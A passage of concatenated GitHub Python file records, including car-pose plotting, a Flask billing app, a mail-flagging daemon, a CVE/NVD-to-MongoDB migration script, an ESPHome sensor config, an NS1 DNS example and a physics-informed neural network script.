59\n    + [[np.nan, np.nan, np.nan,]] * 1 + # will later be mirrored, see figure 3, ApolloCar 3D paper\n    [[-p_x, p_y_bottom, front_z],  # 61\n    [-p_x, p_y_top, back_z]] +  # 62\n    [[np.nan, np.nan, np.nan,]] * 2 + # will later be mirrored, see figure 3, ApolloCar 3D paper\n    [[-p_x, p_y_bottom, back_z],]  # 65\n)\n\nCAR_POSE = CAR_POSE_HALF\nfor key in HFLIP_ids:\n    CAR_POSE[HFLIP_ids[key],:] = CAR_POSE_HALF[key,:]\n    CAR_POSE[HFLIP_ids[key],0] = -CAR_POSE_HALF[key,0]\nCAR_POSE[:,2] = CAR_POSE[:,2]+2.0\nassert not np.any(CAR_POSE==np.nan)\n\n\ndef draw_ann(ann, *, keypoint_painter, filename=None, margin=0.5, aspect=None, **kwargs):\n    from openpifpaf import show  # pylint: disable=import-outside-toplevel\n\n    bbox = ann.bbox()\n    xlim = bbox[0] - margin, bbox[0] + bbox[2] + margin\n    ylim = bbox[1] - margin, bbox[1] + bbox[3] + margin\n    if aspect == 'equal':\n        fig_w = 5.0\n    else:\n        fig_w = 5.0 / (ylim[1] - ylim[0]) * (xlim[1] - xlim[0])\n\n    with show.canvas(filename, figsize=(fig_w, 5), nomargin=True, **kwargs) as ax:\n        ax.set_axis_off()\n        ax.set_xlim(*xlim)\n        ax.set_ylim(*ylim)\n\n        if aspect is not None:\n            ax.set_aspect(aspect)\n\n        keypoint_painter.annotation(ax, ann)\n\n\ndef draw_skeletons(pose, prefix):\n    from openpifpaf.annotation import Annotation  # pylint: disable=import-outside-toplevel\n    from openpifpaf import show  # pylint: disable=import-outside-toplevel\n    scale = np.sqrt(\n        (np.max(pose[:, 0]) - np.min(pose[:, 0]))\n        * (np.max(pose[:, 1]) - np.min(pose[:, 1]))\n    )\n    show.KeypointPainter.show_joint_scales = False\n    keypoint_painter = show.KeypointPainter(line_width=3.0, )\n    ann = Annotation(keypoints=CAR_KEYPOINTS, skeleton=CAR_SKELETON, score_weights=CAR_SCORE_WEIGHTS)\n    pose[:,2]=1.0\n    ann.set(pose, np.array(CAR_SIGMAS) * scale)\n    draw_ann(ann, filename='./docs/'+prefix+'skeleton_car.png', keypoint_painter=keypoint_painter)\n    \n\ndef print_associations():\n    for j1, j2 in CAR_SKELETON:\n        print(CAR_KEYPOINTS[j1 - 1], '-', CAR_KEYPOINTS[j2 - 1])\n\ndef rotate(pose, angle=45, axis=2):\n    sin = np.sin(np.radians(angle))\n    cos = np.cos(np.radians(angle))\n    pose_copy = np.copy(pose)\n    pose_copy[:, 2] = pose_copy[:, 2]-2 # COOS at human center\n    if axis==0:\n        rot_mat = np.array([[1, 0, 0],\n                            [0, cos, -sin],\n                            [0, sin, cos]])\n    elif axis==1:\n        rot_mat = np.array([[cos, 0, sin],\n                            [0, 1, 0],\n                            [-sin, 0, cos]])\n    elif axis==2:\n        rot_mat = np.array([[cos, -sin, 0],\n                            [sin, cos, 0],\n                            [0, 0, 1]])\n    else:\n        raise Exception(\"Axis must be 0,1 or 2 (corresponding to x,y,z).\")\n    rotated_pose = np.transpose(np.matmul(rot_mat, np.transpose(pose_copy)))\n    rotated_pose[:,2] = rotated_pose[:,2]+7 #assure sufficient depth for plotting\n    return rotated_pose\n\nif __name__ == '__main__':\n    print_associations()\n    #Use this to create a gif\n    for deg in range(360):\n        rot = rotate(CAR_POSE, angle=deg, axis=1)\n        top_view = rotate(rot, angle=20, axis=0)\n        draw_skeletons(top_view, prefix=\"rotate_\"+str(deg)+\"deg_\")\n    draw_skeletons(CAR_POSE, prefix=\"Front_\")","repo_name":"ndtuan10/Keypoint-Communities","sub_path":"src/keypoint communities/apollocar3d/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":10461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25608528709","text":"import dateutil.parser\nfrom flask import render_template, request, flash, session, redirect, url_for\n\nfrom billingweb.flask_app_builder import build_flask_app\nfrom billing.models import Application, Hits\nimport sqla\n\nflask_app = build_flask_app()\nflask_app.config.from_pyfile(\"../config.py\")\n\n# Import the different flask_views. This needs to be exactly here because\n# otherwise the @flask_app notation wouldn't work.\nimport view_index\nimport view_install\nimport ajax_hits\n\n\n\n# From here: BillingWeb code which should probably be moved to a specific sub-module.\n\n\nimport random\nimport datetime\n\n\n@flask_app.route(\"/ajax/users/new/<name>\")\ndef create_new_user(name):\n    s = sqla.db()\n    u = Application(name=name)\n    s.add(u)\n    s.commit()\n    return \"New user: %s\" % u.id\n\n\ndef daterange(start_date, end_date):\n    for n in range(int((end_date - start_date).days)):\n        yield start_date + datetime.timedelta(n)\n\n\n@flask_app.route(\"/test/fill\")\ndef fill():\n    start_date = datetime.datetime(year=2014, month=1, day=1)\n    end_date = datetime.datetime(year=2015, month=1, day=1)\n    for single_date in daterange(start_date, end_date):\n        hits = random.randint(0, 15)\n        s = sqla.db()\n        u = Hits(hits=hits, user_id=2, ts=single_date)\n        s.add(u)\n        s.commit()\n\n    return \"Ok\"\n\n\n@flask_app.route(\"/test/addapp\", methods=[\"GET\", \"POST\"])\ndef addapp():\n\n    # Retrieve the list of existing applications.\n    s = sqla.db()\n    applications = s.query(Application).all()\n\n    if request.method == \"POST\":\n\n        # Read the input.\n\n        name = request.values.get(\"name\")\n        if name is None:\n            flash(\"Please, provide an application name\", \"error\")\n            return render_template(\"add_app.html\", applications=applications)\n\n        description = request.values.get(\"description\")\n        if description is None:\n            flash(\"Please, provide an application description\", \"error\")\n            return render_template(\"add_app.html\", applications=applications)\n\n        # Add the specified app itself.\n\n        app = Application(name=name, description=description)\n        s.add(app)\n        s.commit()\n\n        appid = app.id\n\n        flash(\"The specified app has been added with ID: %r\" % appid, \"success\")\n\n        return redirect(url_for(\"addapp\"))\n\n    return render_template(\"add_app.html\", applications=applications)\n\n\n@flask_app.route(\"/test/addhits\", methods=[\"GET\", \"POST\"])\ndef addhits():\n    if request.method == \"POST\":\n\n        # Read the input.\n\n        isodate = request.values.get(\"datetime\")\n        if isodate is None:\n            flash(\"Please, provide a date and time\", \"error\")\n            return render_template(\"add_hits.html\")\n        try:\n            session[\"last_datetime\"] = isodate\n            isodate = dateutil.parser.parse(isodate)\n        except:\n            flash(\"Could not parse the date you provided\", \"error\")\n            return render_template(\"add_hits.html\")\n\n        hits = request.values.get(\"hits\")\n        if hits is None:\n            flash(\"Please, provide the number of hits\", \"error\")\n            return render_template(\"add_hits.html\")\n        try:\n            hits = int(hits)\n        except:\n            flash(\"The number of hits must be a valid integer\")\n            return render_template(\"add_hits.html\")\n\n        appid = request.values.get(\"appid\")\n        if appid is None:\n            flash(\"Please, provide an application ID\", \"error\")\n            return render_template(\"add_hits.html\")\n        try:\n            session[\"last_appid\"] = appid\n            appid = int(appid)\n        except:\n            flash(\"The Application ID must be a valid integer\")\n            return render_template(\"add_hits.html\")\n\n\n        # Add the specified hits themselves.\n        hits = Hits(ts=isodate, hits=hits, app_id=appid)\n\n        # WARNING: Doing db() only results in issues from the tests when we\n        # modify the DB. TODO: A better method for testing.\n        s = sqla.db()\n        s.add(hits)\n        s.commit()\n\n        flash(\"The specified hits have been added\", \"success\")\n        return redirect(url_for(\"addhits\"))\n\n    return render_template(\"add_hits.html\")\n\n\n@flask_app.route(\"/chart\")\ndef chart():\n    return render_template(\"hits_chart.html\")\n\n","repo_name":"mcloudpy/pybilling","sub_path":"billingweb/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"9425663564","text":"import asyncio\nimport logging\nimport platform\n\nimport msgpack\nimport zmq.asyncio\n\nimport mailflagger.plugins.registry\nfrom . import imap\n\nlogger = logging.getLogger(__name__)\n\n\nasync def daemon_coroutine(args):\n    imap_config = imap.get_config(args)\n\n    ctx = zmq.asyncio.Context.instance()\n    socket = ctx.socket(zmq.REP)\n    socket.bind(args.server_address)\n    logger.debug('Initialized socket.')\n\n    try:\n        while True:\n            msg = msgpack.unpackb(await socket.recv())\n            logger.debug(f'Received message: {msg}.')\n            reply = imap.process_message(msg['query'], imap_config, args)\n            logger.debug(f'Sending reply: {reply}…')\n            await socket.send(msgpack.packb(reply))\n    finally:\n        socket.close()\n        ctx.term()\n\n\nasync def gather_coro(*args, **kwargs):\n    '''asyncio.gather as a coroutine.'''\n    return await asyncio.gather(*args, **kwargs)\n\n\ndef run(args):\n    aws = [daemon_coroutine(args)]\n    for plugin in mailflagger.plugins.registry.iter_daemon_plugins():\n        for coro in plugin.daemon_coroutines(args):\n            aws.append(coro)\n\n    # https://bugs.python.org/issue37373\n    if platform.system() == 'Windows':\n        asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n\n    asyncio.run(gather_coro(*aws))\n\n\ndef modify_subparser(subparser):\n    imap_group = subparser.add_argument_group('IMAP configuration')\n    imap.add_arguments(imap_group)\n    for plugin in mailflagger.plugins.registry.iter_daemon_plugins():\n        getattr(plugin, 'modify_subparser', lambda x: None)(subparser)\n\n\ndef command_help(default_args):\n    return 'Wait for flagging requests. This is the default when no arguments are given.'\n","repo_name":"KrzysiekJ/mailflagger","sub_path":"mailflagger/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23702825199","text":"import sys\r\nfrom pymongo import MongoClient\r\nfrom vfeedModel import *\r\n\r\nmongo_url = 'mongodb://localhost:27017/'\r\nclient = MongoClient(mongo_url)\r\n\r\n# vfeedTables = vfeedDB.get_tables()\r\n# print(vfeedTables)\r\n\r\n# NVD Database\r\nnvdDB = client['nvddb']\r\n\r\n# Collections - Tables of interest from vfeed.db\r\ncve_cpe = nvdDB.cve_cpe\r\ncve_cwe = nvdDB.cve_cwe\r\ncve_ref = nvdDB.cve_ref\r\ncwe_capec = nvdDB.cwe_capec\r\ncwe_category = nvdDB.cwe_category\r\ncwe_db = nvdDB.cwe_db\r\nmap_cve_exploitdb = nvdDB.map_cve_exploitdb\r\nmap_cve_milw0rm = nvdDB.map_cve_milw0rm\r\nmap_cve_msf = nvdDB.map_cve_msf\r\nmap_cve_nessus = nvdDB.map_cve_nessus\r\nmap_cve_nmap = nvdDB.map_cve_nmap\r\nmap_cve_openvas = nvdDB.map_cve_openvas\r\nmap_cve_osvdb = nvdDB.map_cve_osvdb\r\nmap_cve_oval = nvdDB.map_cve_oval\r\nmap_cve_saint = nvdDB.map_cve_saint\r\nmap_cve_scip = nvdDB.map_cve_scip\r\nmap_cve_snort = nvdDB.map_cve_snort\r\nmap_cve_surikata = nvdDB.map_cve_surikata\r\nnvd_db = nvdDB.nvd_db\r\n\r\n\r\n# Drop the database collectionss\r\n# This needs to be changed\r\ndef drop_nvd_db():\r\n    pass\r\n# Query object with peewee\r\n\r\n# Bulk inserts - Drop collection before doing this!\r\ndef migrate_nvd_db():\r\n    Query_nvd_db = NvdDb.select()\r\n    for q_nvd_db in Query_nvd_db:\r\n        # Construct fields\r\n        nvd_db_post = {}\r\n        nvd_db_post['cveid'] = q_nvd_db.cveid\r\n        nvd_db_post['date_published'] = q_nvd_db.date_published\r\n        nvd_db_post['date_modified'] = q_nvd_db.date_modified\r\n        nvd_db_post['summary'] = q_nvd_db.summary\r\n        nvd_db_post['cvss_base'] = q_nvd_db.cvss_base\r\n        nvd_db_post['cvss_impact'] = q_nvd_db.cvss_impact\r\n        nvd_db_post['cvss_exploit'] = q_nvd_db.cvss_exploit\r\n        nvd_db_post['cvss_access_vector'] = q_nvd_db.cvss_access_vector\r\n        nvd_db_post['cvss_access_complexity'] = q_nvd_db.cvss_access_complexity\r\n        nvd_db_post['cvss_authentication'] = q_nvd_db.cvss_authentication\r\n        nvd_db_post['cvss_confidentiality_impact'] = q_nvd_db.cvss_confidentiality_impact\r\n        nvd_db_post['cvss_integrity_impact'] = q_nvd_db.cvss_integrity_impact\r\n        nvd_db_post['cvss_availability_impact'] = q_nvd_db.cvss_availability_impact\r\n        # Verify before insert\r\n        if nvd_db.find_one(nvd_db_post) is None:\r\n            nvd_db.insert_one(nvd_db_post)\r\n        del nvd_db_post\r\n\r\ndef migrate_cve_cpe():\r\n    Query_cve_cpe = CveCpe.select(CveCpe.cpeid, CveCpe.cveid).join(NvdDb).where(NvdDb.cveid==CveCpe.cveid)\r\n    for q_cve_cpe in Query_cve_cpe:\r\n        # Construct fields\r\n        cve_cpe_post = {}\r\n        cve_cpe_post['cpeid'] = str(q_cve_cpe.cpeid)\r\n        cve_cpe_post['cveid'] = str(q_cve_cpe.cveid.cveid)\r\n        # Verify before insert\r\n        if cve_cpe.find_one(cve_cpe_post) is None:\r\n            cve_cpe.insert_one(cve_cpe_post)\r\n        del cve_cpe_post\r\n\r\n\r\ndef migrate_cve_cwe():\r\n    Query_cve_cwe = CveCwe.select(\r\n                                    CveCwe.cweid,\r\n                                    CveCwe.cveid\r\n                                ).join(NvdDb).where(NvdDb.cveid==CveCwe.cveid)\r\n    for q_cve_cpe in Query_cve_cwe:\r\n        # Construct fields\r\n        cve_cwe_post = {}\r\n        cve_cwe_post['cveid'] = str(q_cve_cpe.cveid.cveid)\r\n        cve_cwe_post['cweid'] = str(q_cve_cpe.cweid)\r\n        # Verify before insert\r\n        if cve_cwe.find_one(cve_cwe_post) is None:\r\n            cve_cwe.insert_one(cve_cwe_post)\r\n        del cve_cwe_post\r\n\r\ndef migrate_cve_ref():\r\n    Query_cve_ref = CveReference.select(\r\n                                        CveReference.cveid,\r\n                                        CveReference.refname,\r\n                                        CveReference.refsource\r\n                                        ).join(NvdDb).where(NvdDb.cveid==CveReference.cveid)\r\n    for q_cve_ref in Query_cve_ref:\r\n        # Construct fields\r\n        cve_ref_post = {}\r\n        cve_ref_post['cveid'] = str(q_cve_ref.cveid.cveid)\r\n        cve_ref_post['refname'] = str(q_cve_ref.refname)\r\n        cve_ref_post['refsource'] = str(q_cve_ref.refsource)\r\n        # Verify before insert\r\n        if cve_ref.find_one(cve_ref_post) is None:\r\n            cve_ref.insert_one(cve_ref_post)\r\n        del cve_ref_post\r\n\r\ndef migrate_cwe_db():\r\n    Query_cwe_db = CweDb.select(\r\n                                    CweDb.cweid,\r\n                                    CweDb.cwetitle\r\n                                )\r\n    for q_cwe_ref in Query_cwe_db:\r\n        # Construct fields\r\n        cwe_db_post = {}\r\n        cwe_db_post['cweid'] = str(q_cwe_ref.cweid)\r\n        cwe_db_post['cwetitle'] = str(q_cwe_ref.cwetitle)\r\n        # Verify before insert\r\n        if cwe_db.find_one(cwe_db_post) is None:\r\n            cwe_db.insert_one(cwe_db_post)\r\n        del cwe_db_post\r\n\r\ndef migrate_cwe_category():\r\n    Query_cwe_category = CweCategory.select(\r\n                                                CweCategory.categoryid,\r\n                                                CweCategory.categorytitle,\r\n                                                CweCategory.cweid\r\n                                            )\r\n    for q_cwe_cat in Query_cwe_category:\r\n        # Construct fields\r\n        cwe_cat_post = {}\r\n        cwe_cat_post['cweid'] = str(q_cwe_cat.cweid)\r\n        cwe_cat_post['categoryid'] = str(q_cwe_cat.categoryid)\r\n        cwe_cat_post['categorytitle'] = str(q_cwe_cat.categorytitle)\r\n        # Verify before insert\r\n        if cwe_category.find_one(cwe_cat_post) is None:\r\n            cwe_category.insert_one(cwe_cat_post)\r\n        del cwe_cat_post\r\n\r\ndef migrate_cwe_capec():\r\n    Query_cwe_capec = CweCapec.select(\r\n                                                CweCapec.capecid,\r\n                                                CweCapec.cweid\r\n                                            )\r\n    for q_cwe_cap in Query_cwe_capec:\r\n        # Construct fields\r\n        cwe_cap_post = {}\r\n        cwe_cap_post['cweid'] = str(q_cwe_cap.cweid)\r\n        cwe_cap_post['capecid'] = str(q_cwe_cap.capecid)\r\n        # Verify before insert\r\n        if cwe_category.find_one(cwe_cap_post) is None:\r\n            cwe_category.insert_one(cwe_cap_post)\r\n        del cwe_cap_post\r\n\r\n# Call this function to start database migrations\r\ndef main():\r\n    '''\r\n    print(\"[+] Dropping NVD CVE data\")\r\n    nvd_db.drop()\r\n    print(\"[+] Re-Creating NVD CVE Data\")\r\n    migrate_nvd_db()\r\n    print(\"[+] Done!\")\r\n    print(\"[+] Dropping CVE_CPE correaltions! :-\\\\\")\r\n    cve_cpe.drop()\r\n    print(\"[+] Re-Createing CVE_CPE correlations\")\r\n    migrate_cve_cpe()\r\n    print(\"[+] Done!\")\r\n    print(\"[+] Dropping CVE_CWE correaltions!\")\r\n    cve_cwe.drop()\r\n    print(\"[+] Re-Createing CVE_CWE correlations\")\r\n    migrate_cve_cwe()\r\n    print(\"[+] Done\")\r\n    print(\"[+] Dropping CVE References!\")\r\n    cve_ref.drop()\r\n    print(\"[+] Re-Createing CVE References\")\r\n    migrate_cve_ref()\r\n    print(\"[+] Done\")\r\n    print(\"[+] Dropping CWE Data!\")\r\n    cwe_db.drop()\r\n    print(\"[+] Re-Createing CWE Data\")\r\n    migrate_cwe_db()\r\n    print(\"[+] Done\")\r\n    print(\"[+] Dropping CWE Categories\")\r\n    cwe_category.drop()\r\n    print(\"[+] Re-Createing CWE Categories\")\r\n    migrate_cwe_category()\r\n    print(\"[+] Done\")\r\n    '''\r\n    print(\"[+] Dropping CWE CAPEC correlations\")\r\n    cwe_capec.drop()\r\n    print(\"[+] Re-Createing CWE CAPEC correlations\")\r\n    migrate_cwe_capec()\r\n    print(\"[+] Done\")\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n","repo_name":"pombredanne/ape-1","sub_path":"migrator.py","file_name":"migrator.py","file_ext":"py","file_size_in_byte":7399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31944441647","text":"from graph import Graph\n\ndef delete_edge(g, source, destination):\n    g.print_graph()\n    if g.vertices == 0:\n        return g\n    if source >= g.vertices or source < 0:\n        return g\n    if destination >= g.vertices or destination < 0:\n        return g\n    g.array[source].delete_node(destination)\n    return g\n\n\ng = Graph(5, False)\ng.add_edge(0, 1)\ng.add_edge(0, 2)\ng.add_edge(1, 3)\ng.add_edge(2, 4)\ng.add_edge(4, 0)\n\ndelete_edge(g, 1, 3)\nprint('-'*50)\nprint('Graph after deletion of edge')\ng.print_graph()\n","repo_name":"Sandeeppagi/PythonAlgo","sub_path":"DS/Graph/delete_edge.py","file_name":"delete_edge.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73677665016","text":"import esphome.codegen as cg\nimport esphome.config_validation as cv\nfrom esphome.components import sensor\nfrom esphome.const import (\n    DEVICE_CLASS_VOLTAGE,\n    DEVICE_CLASS_CURRENT,\n    DEVICE_CLASS_TEMPERATURE,\n    DEVICE_CLASS_FREQUENCY,\n    DEVICE_CLASS_POWER,\n    STATE_CLASS_MEASUREMENT,\n    UNIT_VOLT,\n    UNIT_HERTZ,\n    UNIT_AMPERE,\n    UNIT_PERCENT,\n    UNIT_CELSIUS,\n    UNIT_WATT,\n    ICON_FLASH,\n    ICON_PERCENT,\n    ICON_THERMOMETER,\n    ICON_CURRENT_AC,\n)\nfrom . import HuaweiR4850Component, CONF_HUAWEI_R4850_ID\n\nCONF_INPUT_VOLTAGE = \"input_voltage\"\nCONF_INPUT_FREQUENCY = \"input_frequency\"\nCONF_INPUT_CURRENT = \"input_current\"\nCONF_INPUT_POWER = \"input_power\"\nCONF_INPUT_TEMP = \"input_temp\"\nCONF_EFFICIENCY = \"efficiency\"\nCONF_OUTPUT_VOLTAGE = \"output_voltage\"\nCONF_OUTPUT_CURRENT = \"output_current\"\nCONF_MAX_OUTPUT_CURRENT = \"max_output_current\"\nCONF_OUTPUT_POWER = \"output_power\"\nCONF_OUTPUT_TEMP = \"output_temp\"\n\n\nTYPES = [\n    CONF_INPUT_VOLTAGE,\n    CONF_INPUT_FREQUENCY,\n    CONF_INPUT_CURRENT,\n    CONF_INPUT_POWER,\n    CONF_INPUT_TEMP,\n    CONF_EFFICIENCY,\n    CONF_OUTPUT_VOLTAGE,\n    CONF_OUTPUT_CURRENT,\n    # CONF_MAX_OUTPUT_CURRENT,\n    CONF_OUTPUT_POWER,\n    CONF_OUTPUT_TEMP,\n]\n\n\nCONFIG_SCHEMA = cv.All(\n    cv.Schema(\n        {\n            cv.GenerateID(CONF_HUAWEI_R4850_ID): cv.use_id(HuaweiR4850Component),\n            cv.Optional(CONF_INPUT_VOLTAGE): sensor.sensor_schema(\n                unit_of_measurement=UNIT_VOLT,\n                icon=ICON_FLASH,\n                accuracy_decimals=1,\n                device_class=DEVICE_CLASS_VOLTAGE,\n                state_class=STATE_CLASS_MEASUREMENT,\n            ),\n            cv.Optional(CONF_INPUT_FREQUENCY): sensor.sensor_schema(\n                unit_of_measurement=UNIT_HERTZ,\n                icon=ICON_FLASH,\n                accuracy_decimals=3,\n                device_class=DEVICE_CLASS_FREQUENCY,\n                state_class=STATE_CLASS_MEASUREMENT,\n            ),\n            cv.Optional(CONF_INPUT_CURRENT): sensor.sensor_schema(\n                unit_of_measurement=UNIT_AMPERE,\n                icon=ICON_CURRENT_AC,\n                accuracy_decimals=2,\n                device_class=DEVICE_CLASS_CURRENT,\n                state_class=STATE_CLASS_MEASUREMENT,\n            ),\n            cv.Optional(CONF_INPUT_POWER): sensor.sensor_schema(\n                unit_of_measurement=UNIT_WATT,\n                icon=ICON_FLASH,\n                accuracy_decimals=1,\n                device_class=DEVICE_CLASS_POWER,\n                state_class=STATE_CLASS_MEASUREMENT,\n            ),\n            cv.Optional(CONF_INPUT_TEMP): sensor.sensor_schema(\n                unit_of_measurement=UNIT_CELSIUS,\n                icon=ICON_THERMOMETER,\n                accuracy_decimals=1,\n                device_class=DEVICE_CLASS_TEMPERATURE,\n                state_class=STATE_CLASS_MEASUREMENT,\n            ),\n            cv.Optional(CONF_EFFICIENCY): sensor.sensor_schema(\n                unit_of_measurement=UNIT_PERCENT,\n                icon=ICON_PERCENT,\n                accuracy_decimals=0,\n                state_class=STATE_CLASS_MEASUREMENT,\n            ),\n            cv.Optional(CONF_OUTPUT_VOLTAGE): sensor.sensor_schema(\n                unit_of_measurement=UNIT_VOLT,\n                icon=ICON_FLASH,\n                accuracy_decimals=2,\n                device_class=DEVICE_CLASS_VOLTAGE,\n                state_class=STATE_CLASS_MEASUREMENT,\n            ),\n            cv.Optional(CONF_OUTPUT_CURRENT): sensor.sensor_schema(\n                unit_of_measurement=UNIT_AMPERE,\n                icon=ICON_CURRENT_AC,\n                accuracy_decimals=2,\n                device_class=DEVICE_CLASS_CURRENT,\n                state_class=STATE_CLASS_MEASUREMENT,\n            ),\n            # cv.Optional(CONF_MAX_OUTPUT_CURRENT): sensor.sensor_schema(\n            #     unit_of_measurement=UNIT_AMPERE,\n            #     icon=ICON_CURRENT_AC,\n            #     accuracy_decimals=2,\n            #     device_class=DEVICE_CLASS_CURRENT,\n            #     state_class=STATE_CLASS_MEASUREMENT,\n            # ),\n            cv.Optional(CONF_OUTPUT_POWER): sensor.sensor_schema(\n                unit_of_measurement=UNIT_WATT,\n                icon=ICON_FLASH,\n                accuracy_decimals=1,\n                device_class=DEVICE_CLASS_POWER,\n                state_class=STATE_CLASS_MEASUREMENT,\n            ),\n            cv.Optional(CONF_OUTPUT_TEMP): sensor.sensor_schema(\n                unit_of_measurement=UNIT_CELSIUS,\n                icon=ICON_THERMOMETER,\n                accuracy_decimals=1,\n                device_class=DEVICE_CLASS_TEMPERATURE,\n                state_class=STATE_CLASS_MEASUREMENT,\n            ),\n        }\n    ).extend(cv.COMPONENT_SCHEMA)\n)\n\n\nasync def setup_conf(config, key, hub):\n    if key in config:\n        conf = config[key]\n        sens = await sensor.new_sensor(conf)\n        cg.add(getattr(hub, f\"set_{key}_sensor\")(sens))\n\n\nasync def to_code(config):\n    hub = await cg.get_variable(config[CONF_HUAWEI_R4850_ID])\n    for key in TYPES:\n        await setup_conf(config, key, hub)\n","repo_name":"mb-software/esphome-huawei-r4850","sub_path":"components/huawei_r4850/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"73272681977","text":"from ns1 import NS1\n\n# NS1 will use config in ~/.nsone by default\napi = NS1()\n\n# to specify an apikey here instead, use:\n\n# from ns1 import Config\n# config = Config()\n# config.createFromAPIKey('<<CLEARTEXT API KEY>>')\n# api = NS1(config=config)\n\n# create a zone to play in\nzone = api.createZone(\"testzone.com\")\n\n# create an NS1 API data source\nsourceAPI = api.datasource()\ns = sourceAPI.create(\"my api source\", \"nsone_v1\")\nsourceID = s[\"id\"]\n\n# create feeds which will drive the meta data for each answer\n# we'll use the id of these feeds when we connect the feeds to the\n# answer meta below\nfeedAPI = api.datafeed()\nfeed1 = feedAPI.create(\n    sourceID, \"feed to server1\", config={\"label\": \"server1\"}\n)\n\nfeed2 = feedAPI.create(\n    sourceID, \"feed to server2\", config={\"label\": \"server2\"}\n)\n\n# create a record to connect to this source, with two answers\n# specify the up filter so we can send traffic to only those nodes\n# which are known to be up. we'll start with just the second answer up.\n# each 'up' meta value is a feed pointer, pointing to the feeds we\n# created above\nrecord = zone.add_A(\n    \"record\",\n    [\n        {\"answer\": [\"1.1.1.1\"], \"meta\": {\"up\": {\"feed\": feed1[\"id\"]}}},\n        {\"answer\": [\"9.9.9.9\"], \"meta\": {\"up\": {\"feed\": feed2[\"id\"]}}},\n    ],\n    filters=[{\"up\": {}}],\n)\n\n# now publish an update via feed to the records. here we push to both\n# feeds at once, but you can push to one or the other individually as well\nsourceAPI.publish(\n    sourceID, {\"server1\": {\"up\": True}, \"server2\": {\"up\": False}}\n)\n\n# NS1 will instantly notify DNS servers at the edges, causing traffic to be\n# sent to server1, and ceasing traffic to server2\n\n# Disconnect feed1 from datasource.\n# feedAPI.delete(sourceID, feed1['id'])\n","repo_name":"ns1/ns1-python","sub_path":"examples/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"22"}
+{"seq_id":"22796343536","text":"import io\nimport sys\nimport pathlib\nimport lzma\nimport itertools\nimport numpy\nimport h5py\nimport torch\nimport modulus.key\nimport modulus.graph\nimport modulus.architecture.fully_connected\nimport omegaconf\nimport sympy\n\n# find helpers\nfor parent in pathlib.Path(__file__).resolve().parents:\n    if parent.joinpath(\"helpers\").is_dir():\n        sys.path.insert(0, str(parent))\n        from helpers.pdes import IncompNavierStokes  # pylint: disable=import-error\n        from helpers.pdes import Vorticity  # pylint: disable=import-error\n        from helpers.pdes import QCriterion  # pylint: disable=import-error\n        from helpers.pdes import VelocityGradients  # pylint: disable=import-error\n        break\nelse:\n    raise FileNotFoundError(\"Couldn't find module `helpers`.\")\n\n\ndef create_graph(cfg, params=None):\n    \"\"\"Create a computational graph without proper parameters in the model.\n    \"\"\"\n\n    # network\n    net = modulus.architecture.fully_connected.FullyConnectedArch(\n        input_keys=[modulus.key.Key(\"x\"), modulus.key.Key(\"y\"), modulus.key.Key(\"t\")],\n        output_keys=[modulus.key.Key(\"u\"), modulus.key.Key(\"v\"), modulus.key.Key(\"p\")],\n        **{k: v for k, v in cfg.arch.fully_connected.items() if k != \"_target_\"}\n    )\n\n    # update parameters\n    if params is not None:\n        net.load_state_dict(params)\n\n    # navier-stokes equation\n    nseq = IncompNavierStokes(cfg.custom.nu, cfg.custom.rho, 2, True)\n\n    # vorticity\n    vorticity = Vorticity(dim=2)\n\n    # q-criterion\n    qcriterion = QCriterion(dim=2)\n\n    # velocity gradients\n    velgradient = VelocityGradients(dim=2)\n\n    nodes = \\\n        nseq.make_nodes() + vorticity.make_nodes() + qcriterion.make_nodes() + velgradient.make_nodes() + \\\n        [net.make_node(name=\"flow-net\", jit=cfg.jit)]\n\n    dtype = next(net.parameters()).dtype\n\n    return nodes, dtype\n\n\ndef get_model_from_file(cfg, filename):\n    \"\"\"Read snapshot data.\n    \"\"\"\n\n    # load the snatshot data\n    with lzma.open(filename, \"rb\") as obj:  # open the file\n        snapshot = torch.load(obj, map_location=cfg.device)\n\n    # load the model parameters form the snapshot data\n    with io.BytesIO(snapshot[\"model\"]) as obj:  # load the model\n        params = torch.jit.load(obj, map_location=cfg.device).state_dict()\n\n    # get a computational graph\n    graph, dtype = create_graph(cfg, params)\n\n    # timestamp and training iteration\n    timestamp = snapshot[\"time\"]\n    step = snapshot[\"step\"]\n\n    return step, timestamp, graph, dtype\n\n\ndef get_case_data(cfg, workdir, fields=[\"u\", \"v\", \"p\"]):\n    \"\"\"Get data from a single case.\n    \"\"\"\n\n    # identify the last iteration\n    mxstep = max([\n        fname.stem.replace(\"flow-net-\", \"\") for\n        fname in workdir.joinpath(\"inferencers\").glob(\"flow-net-*.pth\")\n    ], key=int)\n\n    # get the computational graph\n    _, _, graph, dtype = get_model_from_file(cfg, workdir.joinpath(\"inferencers\", f\"flow-net-{mxstep}.pth\"))\n\n    # get a subset in the computational graph that gives us desired quantities\n    model = modulus.graph.Graph(\n        graph, modulus.key.Key.convert_list([\"x\", \"y\", \"t\"]), modulus.key.Key.convert_list(fields))\n\n    # gridlines\n    npx = numpy.linspace(cfg.custom.xbg, cfg.custom.xed, 743)  # vertices\n    npx = (npx[1:] + npx[:-1]) / 2  # cell centers\n    npy = numpy.linspace(cfg.custom.ybg, cfg.custom.yed, 361)  # vertices\n    npy = (npy[1:] + npy[:-1]) / 2  # cell centers\n    npx, npy = numpy.meshgrid(npx, npy)\n    shape = npx.shape\n\n    # torch version of gridlines; reshape to N by 1\n    torchx = 